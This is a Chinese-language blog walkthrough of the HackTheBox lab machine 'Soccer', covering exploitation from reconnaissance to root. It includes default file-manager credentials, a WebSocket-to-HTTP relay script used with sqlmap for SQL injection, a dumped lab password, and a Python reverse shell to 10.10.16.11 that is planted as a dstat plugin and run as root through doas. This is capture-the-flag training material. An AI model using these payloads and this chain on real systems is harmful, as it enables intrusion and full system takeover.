Soccer:SQL注入以及linpeas提权工具的使用


靶机地址

0.HTB配置

Hackthebox的靶机与vulnhub不同,不需要下载,为在线靶场。但是需要VPN连接才能测试靶机。首先需要先下载vpn文件,在右上角的下拉菜单中选择VPN接入点和服务,这里选的都是欧洲免费节点:

然后点击下载vpn文件xxx.opvn,把该文件放到kali虚拟机中,kali自带openvpn程序,执行以下命令开启vpn。

openvpn xxx.opvn

看到下图的红框中字样说明vpn连接成功,kali系统右上角会显示当前vpn的本机IP地址。而靶机IP地址是在启动hackthebox的machine后,在其网页中显示。

现在知道了本机和靶机IP地址,可以开始测试啦!

1.信息收集

端口扫描:

浏览器访问80端口,ip地址转为域名soccer.htb

将域名加入/etc/hosts文件:

echo 10.10.11.194 soccer.htb >> /etc/hosts

域名添加后,再次访问可以看到网页内容。但是检查了网页后,并没有发现可利用的地方。

浏览器9091端口,没有有用信息:

目录扫描:

gobuster dir -u http://soccer.htb -w /usr/share/seclists/Discovery/Web-Content/SVNDigger/all-dirs.txt

发现了/tiny目录,发现为tiny文件管理系统。

2.Tiny文件管理反弹shell

尝试用tiny文件管理系统的默认账密登录:

username :admin

password: admin@123

或者

username: user

password: 12345

登录成功!

在这里看到了http://soccer.htb 页面的主页html和图片内容,在网页源码中可以看到这些文件的url。例如ground1.jpg可以通过http://soccer.htb/ground1.jpg 访问。

那么如果上传shell文件,则也可以通过上述路径触发反弹连接。

点击“uploads”上传shell文件:

然后在upload路径下可以看到上传的文件,点击后面的“链接”按钮,就可以获得文件的访问url。

这里注意:后台有一个程序会定期的清空upload目录,如果动作慢了,上传文件就会被删除。

在kali中监听端口,然后访问反弹shell的url,反弹shell成功!

3.Websocket的SQL注入

当前权限为www-data。在**/etc/nginx/sites-enabled**目录中,发现了子域名。

把soc-player.soccer.hackthebox加入到/etc/hosts文件中,然后访问http://soc-player.soccer.hackthebox/

与soccer.hackthebox不同的是,这个页面可以进行注册和登录,所以我们注册一个账号并登录:

检查网页源码,看到这是一个验票器,验证地址是一个websocket,地址是ws://soc-player.soccer.hackthebox:9001 ,提交的数据是json,格式如:

“id":"93570"

这个id看起来可以作为sql注入点,查资料“websocket如何进行sql注入”,发现其提供一python脚本,将其修改后如下:

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.hackthebox:9091" # I changed here

def send_ws(payload):
	ws = create_connection(ws_server)
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"id":"%s"}' % message # I changed here

	ws.send(data)
	resp = ws.recv()
	ws.close()

	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass

该脚本将在端口 8081 上创建一个 HTTP 服务器并提取第一个 GET 参数值,将值发送到 send_ws 函数,在那里它将按照易受攻击的 Web 应用程序的要求格式化为 JSON 消息。然后它将与 ws_server 变量中提到的服务器端点建立 WebSocket 连接并发送SQL注入payload。

脚本准备好了,先运行脚本,再运行sqlmap:

sqlmap -u http://localhost:8081/?id=1 --dump-all --exclude-sysdbs

得到soccer_db数据库的accounts表

+------+-------------------+----------+----------------------+
| id   | email             | username | password             |
+------+-------------------+----------+----------------------+
| 1324 | player@player.hackthebox | player   | PlayerOftheMatch2022 |
+------+-------------------+----------+----------------------+

用ssh连接,以player用户身份登录靶机系统,获得user flag。

ssh player@soccer.hackthebox

密码:PlayerOftheMatch2022

4.提权

利用本地提权工具linpeas查找提权向量,把linpeas.sh上传至靶机,然后执行:

./linpeas.sh -a

扫描到doas程序的配置文件中,写道player用户可以无密码以root身份执行dstat程序:

这里首先要清楚相关的两个程序是什么:

doas:以其他用户身份执行命令,类似于sudo。可以用-u参数指定用户。

dstat:是ifstat,vmstat等命令的替代。这里知道我们可以用root身份执行它就行了。

那么怎样把root shell的payload借dstat执行呢?先搜索一下这个程序的相关文件:

find / -name dstat -type d 2>/dev/null

与dstat程序的手册说明对比,得知这个路径下,全部都是dstat程序的插件,统一命名为dstat_xxx.py,调用的时候就加参数–xxx。

dstat插件说明

那么我们创建一个python shell插件,在/tmp文件夹创建dstat_soccer.py:

touch dstat_soccer.py

python文件内容:

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.16.11",2929));

os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);

import pty; pty.spawn("/bin/sh")

然后复制到**/usr/local/share/dstat文件夹**,这个文件夹可以写入且程序也会寻找这个目录下的插件:

cp dstat_soccer.py /usr/local/share/dstat/

最后,在本机监听端口等待反连,然后以root身份执行dstat程序插件

doas -u root /usr/bin/dstat --soccer

成功提权到root,并获取flag:

虽然磕磕绊绊,但是第一个HTB靶机收获很多,呱唧呱唧!


文章作者: Summer One
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer One !
  目录